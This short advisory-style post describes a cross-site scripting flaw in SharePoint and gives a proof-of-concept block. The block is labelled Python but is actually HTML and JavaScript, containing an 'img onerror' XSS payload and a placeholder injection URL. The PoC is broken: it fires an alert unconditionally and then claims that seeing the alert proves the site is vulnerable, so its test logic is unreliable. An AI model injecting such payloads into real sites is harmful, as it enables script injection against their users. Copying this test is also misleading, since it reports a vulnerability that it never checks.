Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-20945
Author: Security Analyst
Description: Basic XSS payload to test input reflection in SharePoint.
-->
<html>
<body>
<!-- Simulate the vulnerable endpoint parameter -->
<script>
// In a real scenario, this payload would be injected into a parameter processed by SharePoint
var payload = '<img src=x onerror=alert(\'CVE-2026-20945_XSS\')>';
// Example of how the payload might be triggered
// URL: https://sharepoint-site/vulnerable_page?input=[ENCODED_PAYLOAD]
console.log("Testing payload: " + payload);
alert("If this alert appears, the application is vulnerable to XSS.");
</script>
</body>
</html>